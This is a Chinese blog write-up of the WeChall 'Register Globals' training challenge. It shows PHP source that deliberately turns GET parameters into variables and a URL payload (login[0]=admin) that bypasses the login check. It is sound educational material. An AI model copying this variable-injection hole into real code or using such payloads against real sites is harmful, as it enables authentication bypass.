WeChall_Training: Register Globals

Training: Register Globals

在这里插入图片描述
中文翻译:
在这里插入图片描述

源码:
<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {
	$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();

GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);

# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }


# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
	$uname = GDO::escape($_POST['username']);
	$pass = md5($_POST['password']);
	$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
	$db = gdo_db();
	if (false === ($row = $db->queryFirst($query))) {
		echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
	} else {
		# Login success
		$login = array($_POST['username'], (int)$row['level']);
	}
}

if (isset($login))
{
	echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
	if (strtolower($login[0]) === 'admin') {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}
}
else 
{
?>
<form action="globals.php" method="post">
<table>
<tr>
	<td><?php echo $chall->lang('th_username'); ?>:</td>
	<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
	<td><?php echo $chall->lang('th_password'); ?>:</td>
	<td><input type="password" name="password" value="" /></td>
</tr>
<tr>
	<td></td>
	<td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
</tr>
</table>
</form>
<?php
}

# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }

require_once 'challenge/html_foot.php';
?>
解题思路:
核心代码:
if (isset($login))
{
	echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
	if (strtolower($login[0]) === 'admin') {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}
}
else 
{

这里我们只需要使$login存在并且login[0]=admin,即可完成绕过。

Payload如下:
www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

或者
www.wechall.net/challenge/training/php/globals/globals.php?login[]=admin
两者等价

成功示意图:

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值